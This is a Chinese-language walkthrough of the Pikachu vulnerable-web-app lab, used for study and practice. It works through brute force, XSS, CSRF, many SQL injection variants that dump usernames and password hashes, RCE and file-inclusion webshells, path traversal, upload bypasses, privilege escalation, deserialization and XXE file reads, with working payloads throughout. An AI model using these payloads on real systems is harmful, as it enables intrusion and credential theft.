第一关:暴力破解
基于表单的暴力破解
随便输入一队用户名和密码,打开bp,设置好代理,进行抓包。
发送给测试器。注明爆破的两个位置。
为两个位置分别选取字典进行爆破。
长度不同,有可能是账号密码,登录一下,发现这个就是账号密码。
验证码绕过(on server)
看一下,没什么思路。点了提示
作者的意思好像是叫我用第一题的方式进行爆破,正常情况下我会考虑验证码会一直更新,无法进行爆破,但是提示说了验证码一直有效,尝试一下。
发现两种形式的回应,一种是验证码输入错误,一种是username or password is not exist ~。
用bp抓包抓一下。发到重发器里面,我多次更改密码,验证码没改,发现出现的一直是username or password is not exist ~。那就说明了我抓到包后,没放包前,后台的验证码一直没有进行刷新。
所以我可以进行根据第一关方法进行爆破,。验证码只要你输入的是你第一次抓包的验证码就行了
爆破成功,登录看看。
OK,登录成功。
验证码绕过(on client)
首先得话看一下提示内容,
所以我们打开一下源码看一下。
分析一下代码,只是正常的验证码生成验证,主要是这个验证码是在前端进行生成验证的,在提交表单之前进行验证的,所以我可以在第一次抓包的时候输入正确的验证码,这样的就能实现验证码绕过。
因为验证码已经在前端验证了,不在需要验证码了,直接删掉就行了。
OK,登录成功。
token防爆破?
token是什么意思
作为计算机术语时,是“令牌”的意思。Token是服务端生成的一串字符串,以作客户端进行请求的一个令牌,当第一次登录后,服务器生成一个Token便将此Token返回给客户端,以后客户端只需带上这个Token前来请求数据即可,无需再次带上用户名和密码。
token其实说的更通俗点可以叫暗号,在一些数据传输之前,要先进行暗号的核对,不同的暗号被授权不同的数据操作。说白了token是一个身份卡,有权限的作用。例如在USB1.1协议中定义了4类数据包:token包、data包、handshake包和special包。主机和USB设备之间连续数据的交换可以分为三个阶段,第一个阶段由主机发送token包,不同的token包内容不一样(暗号不一样)可以告诉设备做不同的工作,第二个阶段发送data包,第三个阶段由设备返回一个handshake包。
token是用来干嘛的
使用token机制的身份验证方法,在服务器端不需要存储用户的登录记录。
大概的流程:
1️⃣ 客户端使用用户名和密码请求登录。
2️⃣ 服务端收到请求,验证用户名和密码。
3️⃣ 验证成功后,服务端会生成一个token,然后把这个token发送给客户端。
4️⃣ 客户端收到token后把它存储起来,可以放在cookie或者Local Storage(本地存储)里。
5️⃣ 客户端每次向服务端发送请求的时候都需要带上服务端发给的token。
6️⃣ 服务端收到请求,然后去验证客户端请求里面带着token,如果验证成功,就向客户端返回请求的数据。
bp攻击的4种方式介绍
一、狙击手模式(Sniper)
它使用一组Payload集合,依次爆破被§标志的爆破点。如果爆破点设置一个,payload设置10个,就执行10次;如果爆破点设置两个,则执行20次。
二、破城锤模式(Battering ram)
它使用一组Payload集合,同时爆破被§标志的爆破点。
无论爆破点设置几个,payload设置10个,就执行10次。
三、音叉模式(Pitchfork )
同时爆破被§标志的爆破点,爆破点1指定payload1,爆破点2指定payload2。
无论爆破点设置几个,payload1设置10个,payload2设置10个,就执行10次。
并且一般按照payload少的执行,如payload1设置10个,payload2设置9个,就执行9次。
四、集束炸弹模式(Cluster bomb)
同时爆破被§标志的爆破点,爆破点1指定payload1,爆破点2指定payload2,依次使用payload1与payload2的组合进行爆破。
payload1设置10个,payload2设置9个,就执行10*10=90次。
抓包之后放到重发器上面进行响应,发现token是一直在变换的。所以根据特征的话是选用音叉模式,因为要对应到token。
token采用递归搜索。
设定根据响应获取token的位置,而且整理是要采用单线程模式的。这里的话因为token对于每一个返回的包的token值都是不一样的,所以我们只能采用单线程攻击。
获取到密码,当然我们这里是默认知道账户admin的。
攻击成功。
第二关 Cross-Site Scripting
什么是xss?
Cross-Site Scripting 简称为“CSS”,为避免与前端叠成样式表的缩写"CSS"冲突,故又称XSS。一般XSS可以分为如下几种常见类型:
1.反射性XSS;
2.存储型XSS;
3.DOM型XSS;
XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。
XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。
形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。
反射型xss(get):
反射型XSS:
通过给别人发送带有恶意脚本代码参数的url,当url地址被打开时,特有的恶意代码参数别html解析,执行。特点是非持久化,也不存入网站服务器中。
缺点:
1.1 必须用户点击带有特定恶意脚本代码参数的链接才能执行
1.2 恶意代码存放在url中,只有用户在点击恶意链接的时候才会执行恶意代码,所有它的隐蔽性很差,可以直观的看到访问了怎样的站点,当然不了解的,也不容易看出来。
首先这个是反射型的xss,我直接输进去<script>alert(1)</script>,看看是不是会不会出弹窗,但是这里的话发现这个字符的输入长度收到限制,这里的话我是直接在前端上面修改长度,把20改成40,最后成功执行这个代码。
反射性xss(post):
首先的话,看一下提示。
这里的话我们是直接输进去<script>alert("Hello world")</script>
这里的话在hackbar上面直接就可以看到。
存储型xss
首先这里的话你们可以看一下我的渗透测试实验3,那里对于存储型的xss的应用比较全面。利用了beef对目标电脑进行操控。这里我浅浅地谈一下存储型xss漏洞。
攻击者利用xss存储型漏洞,将恶意脚本注入到用户的浏览器中。当用户访问包含恶意脚本的页面时,浏览器会执行这些脚本,从而导致攻击者可以窃取用户的敏感信息,或者劫持用户的浏览器,实施其他类型的攻击。这里发生的主要原因是留言板没有对写入留言板的文本进行过滤。导致含有攻击性的脚本被植入到浏览器的留言板中。
这里的话发现我们输进去的脚本是不会显示出来的。
但是我们去别的地址返回来看得时候还是会跳出弹窗,所以说明我们的那个代码被存储在了网页上,只要有人打开了就会执行那个代码。
这就是存储性与反射性永久性和一次性的区别,会永久的存储在数据库中。
DOM型xss
这里的话我推荐到这个大佬文章里看比较详细,我这里的话就不讲了。
首先我们顺便输进去一点字符串或者数字,看看响应。
这里的话出现了一个what do you see的链接。右键查看源代码。代码审计。
核心代码,这里的主要意思是把id为text赋值给str,并把<a href='"+str+"'>赋值给dom,这里的话我们可以构建字符串来实现闭环。str:’ οnclick=”alert(‘helloworld’)”>来实现闭环。这里的话就组成<a href=' ' οnclick="alert('helloworld')">'>。黄色的部分就是闭环,是一个完整的一串代码,后面的话剩余的部分就不会识别了。
这里的话实现的效果是这个样子的。
DOM型xss-x
随便输进去看响应,右键查看源代码,查看之后样子
这里的话大概的逻辑意思就是从url上面的获取text之后的值同时进行一些处理。这里的话使用上一题的字符串就行了。' οnclick="alert('helloworld')">。
Xss之盲打
首先进去就是一个表单,输入进去一串字,根据提示进入后台。
发现那些看法被存储在这里,<script>alert(1)</script>把这个代码输进去,顺便加上一点文字。
进去的时候就出现弹窗。
这里是看不见我那个代码的,但是已经内嵌在里面了。只要刷新一次页面,内嵌的代码就会执行一次,弹窗就会出来一次。
xss之过滤
查看源代码看看过滤掉什么。
发现把<script>给过滤掉了。所以我们如果想要搞弹窗的得用别的html代码。这里的话可以使用img。<img src=a οnerrοr="alert('the image is error')">
意思是src路径如果找不到图片的话就会执行alert代码。
xss之htmlspecialchars
首先查看意思什么是specialchars;
htmlspecialchars是一种用于转义HTML和XML实体的函数。它将特殊字符(如小于号、大于号、引号等)转换为对应的实体,这样可以防止这些字符被误解为HTML标记或其他语义元素。
常见的预定义字符:
&:转换为&
":转换为"
':转换为成为 '
<:转换为<
>:转换为>
看一下源代码,里面是使用了htmlspecialchars,但是他提示了htmlspecialchars不对单引号起作用,所以可以使用单引号进行绕过。’οnclick=’alert(111)’
xss之href输出
查看源代码,发现这次的话对htmlspecialchars做了处理,这样的话单引号就无法绕过,但是他把输出放在了a标签上面,所以这里的话可以用用JavaScript协议来执行js语句。
javascript:alert('success')
xss之js输出
查看源代码,为了能实现alert($ms);的话,这里我们可以构造出字符串实现闭合绕过,
1'</script><script>alert('oh you are a lucy boy')</script>
第三关:Cross-site request forgery(CSRF)
首先讲一下什么是CSRF
CSRF(Cross-Site Request Forgery)跨站请求伪造,是一种网络安全漏洞,攻击者利用受害者在已经登录的情况下对网站发起请求,从而实施恶意操作。攻击通常会利用受害者在其他网站上被诱导点击的链接或图片来触发。一旦攻击成功,攻击者可以以受害者的身份执行未经授权的操作,比如改变密码、转账等。
CSRF(get):
首先看一下提示:
直接登进去看看,我是拿vince。
进去之后修改个人信息;
修改个人信息的时候记得抓包:
构造链接:
发给登录用户进行点击。
修改成功;
CSRF(post):
也是一样在修改信息之后进行抓包分析;
虽然post请求无法通过伪造URL进行攻击,但是可以通过伪造恶意的网页,将伪造的post请求隐藏在恶意网页的表单中,然后诱引用户点击按钮提交表单,数据就会post到存在的CSRF漏洞的网页中,最终用户的信息就会被修改。
这里我们利用bp的自带poc生成带有攻击代码的html页面。
这里我改掉了电话号码;生成表单。表单的url是:
http://burp/show/3/dlsjgealvi9nfvbqntztldxnt37gn64h
点击按钮;
信息就修改成功了
CSRF Token
一样的步骤,在修改信息准备提交时抓包
发现这次在GET请求的时候出现token进行防止CSRF攻击。查看token_get_edit.php的源码, 发现有一个set_token()函数, 该函数每次刷新页面都会被调用, 然后将SESSION中的token销毁, 并生成新的token发送至前端表单中。
在每次提交表单的时候,前端页面的token值都会传送至后台与SESSION中的token进行对比验证,由于攻击者不知道用户当前的token值,从而无法进行CSRF攻击。
第四关:SQL-inject(SQL注入)
在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库注入漏洞。
SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。
在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:
1.对传进SQL语句里面的变量进行过滤,不允许危险字符传入;
2.使用参数化(Parameterized Query 或 Parameterized Statement);
3.还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!
数字型注入(post)
数字型类型判断:
测试步骤:
(1) 加单引号,URL:xxx.xxx.xxx/xxx.php?id=3';
对应的sql:select * from table where id=3' 这时sql语句出错,程序无法正常从数据库中查询出数据,就会抛出异常;
(2) 加and 1=1 ,URL:xxx.xxx.xxx/xxx.php?id=3 and 1=1;
对应的sql:select * from table where id=3' and 1=1 语句执行正常,与原始页面没有差异;
(3) 加and 1=2,URL:xxx.xxx.xxx/xxx.php?id=3 and 1=2;
对应的sql:select * from table where id=3 and 1=2 语句可以正常执行,但是无法查询出结果,所以返回数据与原始网页存在差异;
经过测试,确实是数字型的;测试的话可以在bp的repeater上面进行测试,比较方便;
右键点击repeater,之后到重发器上面进行操作就行了。
首先构建payload;id=2 or 1=1,点击发送。
显示出了数据库目录。
这里的话我们进行一些深入的测试,而且从上面的数据库目录我们已经知道了数据库是有两列的,这里的话我们就判断每列出现的位置。构建payload:id=2 union select 1,2
判断位置之后查询数据库的名称和版本信息。payload:id=2 union select databse(),version()
MySQL 5.0 及以上版本都包含了 information_schema
数据库,它是一个特殊的数据库,用于存储关于数据库实例、数据库、表、列、索引、用户权限等元数据信息。information_schema
不是一个实际的物理数据库,而是一个逻辑数据库,提供了一组视图和表,用于查询和查看数据库的元数据。
所以查询一下所有表,
payload:id=2 union select group_concat(table_name),2 from information_schema.tables where table_schema='pikachu'
这个发现了一个users敏感信息表,查看一下敏感信息表。
payload:id=2 union select group_concat(column_name),2 from information_schema.columns where table_schema='pikachu' and table_name='users'
这里发现了账号密码,查询账号密码
payload:id=2 union select group_concat(username),group_concat(password) from users
密码:e10adc3949ba59abbe56e057f20f883e,670b14728ad9902aecba32e22fa4f6bd,e99a18c428cb38d5f260853678922e03
密码存储的加密的话一般都是md5或者hash这种不可逆算法,这里的话我应该是md5.
解密之后密码是123456。
解密网站地址:md5在线解密破解,md5解密加密 (cmd5.com)
字符型注入(get)
字符型注入的判断技巧;假如注入点是name
测试步骤:
(1) 加单引号:payload:name=xxx' 此时的SQL语句为:select * from table where name='xxx''
由于加单引号后变成三个单引号,则无法执行,程序会报错;
(2) 加 ' and 1=1 payload: name=xxx' and 1=1 此时sql 语句为:select * from table where name='xxx' and 1=1' ,也无法进行注入,还需要通过注释符号将其绕过;
因此,构造语句为:select * from table where name ='xxx' and 1=--' 可成功执行返回结果正确;
(3) 加' and 1=2— payload: name=xxx and 1=2—此时sql语句为:select * from table where name='admin' and 1=2–'则会报错;
如果满足以上三点,可以判断该url为字符型注入。
类型测试的话感兴趣的可以自己去搞一下,上面也写的很详细了。
这里的话我们知道这个是字符型注入,刚开始我们先构建一个绕过来输出整个表。
payload: xxx' or 1=1#
这里的话#在mysql语言中是起注释的作用,这样的话可以把字符型最后的单引号给注释掉,避免报错。
这里就列出了表中所有的数据,不难看出显示的数据是两列,以防万一,判断一下位置。
payload: xxx' union select 1,2#
明确输出点位置,构建查询语句进行爆库。
payload: xxx' union select database(),version()#
爆出数据库的名称为pikachu,版本为5.5.53。mysql5.0版本之后,mysql默认在数据库中存放一个“information_schema”。接下来构建语句爆表。
payload: xxx' union select group_concat(table_name),2 from information_schema.tables where table_schema='pikachu'#
发现敏感数据表,构建语句进行爆数据。
payload: xxx' unoin select group_concat(column_name),3 form information_schema.columns where table_schema='pikachu' and table_name='users'#
爆出username 和password。构建语句进行查看username和password。
payload: xxx' union select group_concat(username),group_concat(password) from users#
密码用md5在线网站进行爆破。得出密码是123456,这个操作我已经在数值型注入的时候讲过了。想要再复现的话可以在上面进行参考。
搜索型注入
首先看一下提示。
发现提示是%,我猜测%可能和闭合有关。测试一下。
xx'
这里从错误信息可以大致推断出闭合符号是%' 而且与字符型闭合有点相似。测试一下
payload:xx%'#
没有报错,说明猜想是对的。构建语句返回全部数据。
payload: xx%' or 1=1#
根据返回结果,猜测显示列应该为3列。用语句xx%' order by 3#和xx'%' order by 4#试一下,如果第一个语句没有报错,第二个语句出现报错就可以判断出是3列。测试一下。
第一个语句没有报错。
第二个语句出现报错。说明列数是3列。
由于步骤基本和前面的一样,所以,这里我就简略写一下就好了。
爆库名
payload: xx%' union select database(),1,2#
爆表名
payload: xx%' union select group_concat(table_name),1,2 from information_schema.tables where table_schema='pikachu'#
爆字段(列)
payload: xx%' union select group_concat(column_name),1,2 from information_schema.columns where table_schema='pikachu' and table_name='users'#
这个里面的table_schema='pikachu'也可以省略不写。
爆数据
payload: xx%' union select group_concat(username),group_concat(password),1 from users#
md5爆破解密之后密码是123456.
xx型注入
输入xx'进行测试。
根据报错结果推测xx')能实现闭合,测试一下。payload: xx') or 1=1#
说明闭合是对的,根据上面可以看出输出是两列。
payload:xx') union select database(),version()#
这里的话因为跟前面差不多一样,我就直接一步写了。爆表名和字段
xx') union select group_concat(table_name),1 from information_schema.tables where table_schema='pikachu' union select group_concat(column_name),2 from information_schema.columns where table_name='users'#
payload: xx') union select group_concat(username),group_concat(password) from users#
"insert/update"注入
1、insert注入
insert注入应该是注册的时候,注册是往表中插入数据。
update注入应该是修改个人信息的时候。
insert注入的mysql语句大致为:
insert into tableName (colunm1,colunm2,...) value(value1,value2,...);
update注入的mysql语句大致为:
UPDATE table_name
SET column1 = value1, column2 = value2, ...
WHERE condition;
参数说明:
table_name:要修改的表名称。
column1, column2, ...:要修改的字段名称,可以为多个字段。
value1, value2, ...:要修改的值,可以为多个值。
condition:修改条件,用于指定哪些数据要修改。
大概样子:UPDATE 表名称 SET 列名称 = 新值 WHERE 列名称 = 某值
在注册的时候用bp进行抓包。
发现有6个数据。这里的话我们采用username作为注入点,尝试用xx''
注入成功,如果你想要在最后的地址add上注入的话,需要用')来实现闭合,因为这里的话insert语法有括号对里面的参数进行包裹。
这里的话因为注册的话是没有回显的,而刚才测试的时候sql语句有问题时还是会报错的。所以这里的话报错注入还是行的通的。
updatexml(1,concat(0x7e,(select database()),0x7e),1) 这个是报错注入的基本语句,构建语句进行爆库名。
payload:xx' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '
爆表名,payload:
xx' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),0x7e),1) or'
这里的话错误显示最大是32个字符,可以用substr函数进行选段观察;
xx' or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),10,32),0x7e),1) or'
这里面的pikachu后面的参数1是开始的位置,31是选取字符的长度,所以即使是字符大于32个,无法完全显示出来,也可以通过那两个参数补全查看。
爆字段(列):payload:
xx' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1) or'
爆数据:payload:
xx' or updatexml(1,concat(0x7e,(select group_concat(concat(username,': ',password)) from users),0x7e),1) or '
这里密码是没有完全显示出来,这里的话步骤跟上面一下,用substr函数就可以知道全部长度的密码,之后的步骤跟前几题一样,这里就不多讲了。
2、update注入
这里的话要性别手机住址邮箱全都有信息,修改时才能成功,不然就会跟上面一样,修改不了。
闭合的话是单引号,先输入一个单引号,后输入两个单引号,前一个报错,后一个成功修改,说明是单引号。
爆数据库
sex=man' or updatexml(1,concat(0x7e,(select database()),0x7e),1)#
爆表 payload:
sex=man' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),0x7e),1)#
爆列 :payload:
sex=man' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)#
爆数据 payload:
sex=man' or updatexml(1,concat(0x7e,(select group_concat(concat(username,':',password)) from users),0x7e),1)#
后面的仿照前面。
delete注入
SQL DELETE 语法
DELETE FROM table_name
WHERE condition;
参数说明:
- table_name:要删除的表名称。
- condition:删除条件,用于指定哪些数据要删除。
大概是:delete from table_name(表名称) where column_name(列名称)=值
首先留一下言,删除的时候抓一下包。
发现是在url上面,所以这里用火狐的hackbar比较方便一点。payload:
id=61 or updatexml(1,concat(0x7e,(select database()),0x7e),1)
这里容易出现空格被编译导致无法显示出pikachu。可以用+代替空格。
爆表名 payload:
id=61 or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)
爆字段 payload:
id=61 or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)
爆数据: payload:
id=61 or updatexml(1,concat(0x7e,(select group_concat(concat(username,': ',password)) from users),0x7e),1)
后面的步骤也和前面的一样。
http头注入
登录一下
这里的话回显UA和http accept。猜测注入点应该在这两个上面,而且这里的话猜测是用报错注入。
首先是在UA上面进行注入,payload:
' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '
成功了,后面的也差不多一样,这里就不一一描述了。
第五关:RCE
RCE(remote command/code execute)概述 RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。
远程系统命令执行 一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口 比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上 一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果.而,如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器 远程代码执行
同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。 不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。
exec “ping”
提示:想一下ping命令在系统上是怎么用的
打开rce_ping源码文件看一下,发现$_POST['ipaddress']未经处理直接传给了$ip, 由此造成了远程命令执行漏洞
exec“evel”
查看源码
$_POST['txt']未经过滤处理就直接当做eval函数的参数,所以造成了远程代码执行漏洞。
直接执行我上传的代码,而且这里如果我输入一个命令来写一个一句话木马文件,后面的话要用到的话可以用中国蚁剑进行连接。
File Inclusion(文件包含漏洞)
文件包含,是一个功能。在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件。比如 在PHP中,提供了: include(),include_once() require(),require_once() 这些文件包含函数,这些函数在代码设计中被经常使用到。大多数情况下,文件包含函数中包含的代码文件是固定的,因此也不会出现安全问题。但是,有些时候,文件包含的代码文件被写成了一个变量,且这个变量可以由前端用户传进来,这种情况下,如果没有做足够的安全考虑,则可能会引发文件包含漏洞。攻击着会指定一个“意想不到”的文件让包含函数去执行,从而造成恶意操作。根据不同的配置环境,文件包含漏洞分为如下两种情况: 1.本地文件包含漏洞:仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,攻击着更多的会包含一些固定的系统配置文件,从而读取系统敏感信息。很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞,从而形成更大的威力。 2.远程文件包含漏洞:能够通过url地址对远程的文件进行包含,这意味着攻击者可以传入任意的代码,这种情况没啥好说的,准备挂彩。
File Inclusion(local)
PHP中文件包含函数有以下四种:
- require() // 只在执行到此函数时才去包含文件,若包含的文件不存在产生警告,程序终止运行
- require_once() // 如果一个文件已经被包含过,则不会在包含它
- include() // 程序一运行文件便会包含进来,若包含文件不存在产生致命错误,程序继续运行
- include_once() // 如果一个文件已经被包含过,则不会在包含它
对文件的漏洞进行包含
发现对include的使用的参数没有进行过滤处理。
File Inclusion(remote)
include的参数还是没有进行过滤处理。
这里的话为了方便测试,我直接在phpstudy根目录直接放置了一个webshell,txt。
里面包含了一句话生成一句话木马的指令。
所以构成了一个指令payload进行生成木马从而进行攻击。
链接执行之后就会在fileinclude文件夹生成一句话木马文件shell.php。
之后就可以用中国蚁剑进行连接即可。
第六关 File Inclusion
File Inclusion(文件包含漏洞)
文件包含,是一个功能。在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件。比如 在PHP中,提供了: include(),include_once() require(),require_once() 这些文件包含函数,这些函数在代码设计中被经常使用到。大多数情况下,文件包含函数中包含的代码文件是固定的,因此也不会出现安全问题。但是,有些时候,文件包含的代码文件被写成了一个变量,且这个变量可以由前端用户传进来,这种情况下,如果没有做足够的安全考虑,则可能会引发文件包含漏洞。攻击着会指定一个“意想不到”的文件让包含函数去执行,从而造成恶意操作。根据不同的配置环境,文件包含漏洞分为如下两种情况: 1.本地文件包含漏洞:仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,攻击着更多的会包含一些固定的系统配置文件,从而读取系统敏感信息。很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞,从而形成更大的威力。 2.远程文件包含漏洞:能够通过url地址对远程的文件进行包含,这意味着攻击者可以传入任意的代码,这种情况没啥好说的,准备挂彩。
File Inclusion(local)
PHP中文件包含函数有以下四种:
- require() // 只在执行到此函数时才去包含文件,若包含的文件不存在产生警告,程序终止运行
- require_once() // 如果一个文件已经被包含过,则不会在包含它
- include() // 程序一运行文件便会包含进来,若包含文件不存在产生致命错误,程序继续运行
- include_once() // 如果一个文件已经被包含过,则不会在包含它
对文件的漏洞进行包含
发现对include的使用的参数没有进行过滤处理。
由于是get传参,所以我只要对改url就行了;
File Inclusion(remote)
include的参数还是没有进行过滤处理。
这里的话为了方便测试,我直接在phpstudy根目录直接放置了一个webshell,txt。
里面包含了一句话生成一句话木马的指令。
所以构成了一个指令payload进行生成木马从而进行攻击。
链接执行之后就会在fileinclude文件夹生成一句话木马文件shell.php。
之后就可以用中国蚁剑进行连接即可。
第七关:Unsafe filedownload
Unsafe filedownload:
下载图片的时候抓一下包
根据右键打开图片,浏览器上的url我们可以推测出他的图片路径:
/pikachu/vul/unsafedownload/download
为了方便测试,我直接在pikachu文件夹建立了一个webshell.txt。
根据上面获取的路径我们可以构建下载webshell的url:
http://10.33.2.218/pikachu/vul/unsafedownload//execdownload.php?filename=../../../../webshell.txt
第八关:unsafe fileupload(不安全的文件上传漏洞)
文件上传功能在web应用系统很常见,比如很多网站注册的时候需要上传头像、上传附件等等。当用户点击上传按钮后,后台会对上传的文件进行判断 比如是否是指定的类型、后缀名、大小等等,然后将其按照设计的格式进行重命名后存储在指定的目录。 如果说后台对上传的文件没有进行任何的安全判断或者判断条件不够严谨,则攻击着可能会上传一些恶意的文件,比如一句话木马,从而导致后台服务器被webshell。
客户端check
点提示说一切在前端做的安全措施都是不靠谱的。
点提示说一切在前端做的安全措施都是不靠谱的。
右键查看页面源代码:
发现了页面的过滤要求,代码主要逻辑就是识别后缀名,但这是在前端的,所以我们可以在上传文件的时候抓包,在改掉后缀名就行了。这里我是用一个一句话木马,后缀名改成png.
改好之后直接放包.
上传成功。
MIME type
提示:MIME type了解一下;
MIME 类型(Multipurpose Internet Mail Extensions)是互联网上用于标识文件类型和格式的一种标准。它是通过在 HTTP 协议中的 Content-Type 头部字段中指定来进行传输和解析的。
MIME 类型由两个部分组成:主类型和子类型,中间用斜杠(/)分隔。主类型表示一类相关的文件类型,而子类型则表示主类型下的具体文件格式。常见的 MIME 类型包括:
text/plain:普通文本文件
text/html:HTML 文件
text/css:CSS 文件
application/json:JSON 数据
application/xml:XML 数据
image/jpeg:JPEG 图像文件
image/png:PNG 图像文件
audio/mpeg:MP3 音频文件
video/mp4:MP4 视频文件
MIME 类型在网络传输中起到了重要的作用。当客户端(如浏览器)发送请求时,会通过标准的 HTTP 头部字段 Content-Type 来告知服务器所能接受的数据类型。服务器在响应中设置合适的 Content-Type 值,以确保客户端正确解析和处理接收到的数据。
查看源代码:
发现是对MIME类型进行检测,而不是对我的后缀名,所以在抓包的时候直接修改content_type就得了。
上传成功。
getimagesize()
getimagesize()函数会通过读取文件头部的几个字符串(即文件头), 来判断是否为正常图片的头部。89 50 4e 47 0d 0a 1a 0a;这个是png文件的16进制文件头。可通过制造图片木马或者在木马文件头部添加某种符合要求的16文件头,然后直接利用文件包含漏洞解析木马。
上传成功。
如果没有更改添加文件头,就会出现
第九关:over permission
概述:如果使用A用户的权限去操作B用户的数据,A的权限小于B的权限,如果能够成功操作,则称之为越权操作。 越权漏洞形成的原因是后台使用了不合理的权限校验规则导致的。
一般越权漏洞容易出现在权限页面(需要登录的页面)增、删、改、查的的地方,当用户对权限页面内的信息进行这些操作时,后台需要对 对当前用户的权限进行校验,看其是否具备操作的权限,从而给出响应,而如果校验的规则过于简单则容易出现越权漏洞。
水平越权
首先我登录lili的账号,点击查看个人信息。
当前的url为:
现在我把url中的username=lili改成username=lucy。
构造出URL为:
发现可以查看lucy的个人信息,也就是我登录的是lili的账号,而且我不知道lucy的密码,但是我通过更改url直接查看lucy的个人信息。这就是水平越权
垂直越权
登录超级用户,创建用户时进行抓包
发送到repeater。
现在已经创建了一个wuhu的账户,现在我们换成pikachu账户登录,按f12,复制cookie到刚才的repeater上面,把admin用户的cookie更改为pikachu的,点击发送如果再增加一条wuhu的账户的话,就说明用pikachu的账户进行垂直越权创建用户了。
Pikachu的cookie为:9v0c54fibcgje5tu1h6ikj2t11
发现又多了一条wuhu的账户,垂直越权成功。
第十关:目录遍历漏洞
概述:在web功能设计中,很多时候我们会要将需要访问的文件定义成变量,从而让前端的功能便的更加灵活。 当用户发起一个前端的请求时,便会将请求的这个文件的值(比如文件名称)传递到后台,后台再执行其对应的文件。 在这个过程中,如果后台没有对前端传进来的值进行严格的安全考虑,则攻击者可能会通过“../”这样的手段让后台打开或者执行一些其他的文件。 从而导致后台服务器上其他目录的文件结果被遍历出来,形成目录遍历漏洞。
看到这里,你可能会觉得目录遍历漏洞和不安全的文件下载,甚至文件包含漏洞有差不多的意思,是的,目录遍历漏洞形成的最主要的原因跟这两者一样,都是在功能设计中将要操作的文件使用变量的 方式传递给了后台,而又没有进行严格的安全考虑而造成的,只是出现的位置所展现的现象不一样,因此,这里还是单独拿出来定义一下。
需要区分一下的是,如果你通过不带参数的url(比如:http://xxxx/doc)列出了doc文件夹里面所有的文件,这种情况,我们成为敏感信息泄露。 而并不归为目录遍历漏洞。
目录遍历
为了方便测试。
打开
发现title变量是实现目录遍历的关键。
现在我们还不知道jarheads.php是在哪个文件目录下,随便传进去一个参数给title=flag;
直接就爆出了jarheads.php文件的目录:http://10.33.2.218/pikachu/vul/dir/soup/jarheads.php
现在我们知道webshell.txt和pikachu在同一个文件夹下,所以我们可以直接构建出获取webshell.txt。payload:http://10.33.2.218/pikachu/vul/dir/dir_list.php?title=../../../../webshell.txt
获取成功。
第十一关:敏感信息泄露
概述:由于后台人员的疏忽或者不当的设计,导致不应该被前端用户看到的数据被轻易的访问到。比如:
---通过访问url下的目录,可以直接列出目录下的文件列表;
---输入错误的url参数后报错信息里面包含操作系统、中间件、开发语言的版本或其他信息;
---前端的源码(html,css,js)里面包含了敏感信息,比如后台登录地址、内网接口信息、甚至账号密码等;
IcanseeyouABC
右键查看网页源码;发现:
登录看看
登录成功。
第十二关:PHP反序列化
php反序列化漏洞
代码审计unser.php,前端上传一个$_POST['o']变量传递给后台,后台反序列化此对象,并输出该对象的test的属性值。
所以我们可以通过构造字符串传递给$_POST['o']实现漏洞利用
O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
这里是触发了xss反射型漏洞。
第十三关:XXE
XXE漏洞:
XXE -"xml external entity injection"
既"xml外部实体注入漏洞"。
概括一下就是"攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题"
也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。
源码代码审计:前端将$_POST['xml']传递给变量$xml,之后就没有对$xml进行分析就直接使用simplexml_load_string函数进行xml解析,从而导致了xxe漏洞。
构造简单的xml提交试试。
<?xml version = "1.0"?>
<!DOCTYPE note [
<!ENTITY hacker "you are right!">
]>
<name>&hacker;</name>
提交成功。我们在pikachu同一个文件夹下有一个webshell.txt文件,看能不能直接读取那个文件。
构造xml:
<?xml version = "1.0"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///F:/phpStudy/PHPTutorial/WWW/webshell.txt">
]>
<name>&file;</name>
成功读取文件内容。
第十四关:URL重定向
不安全的url跳转
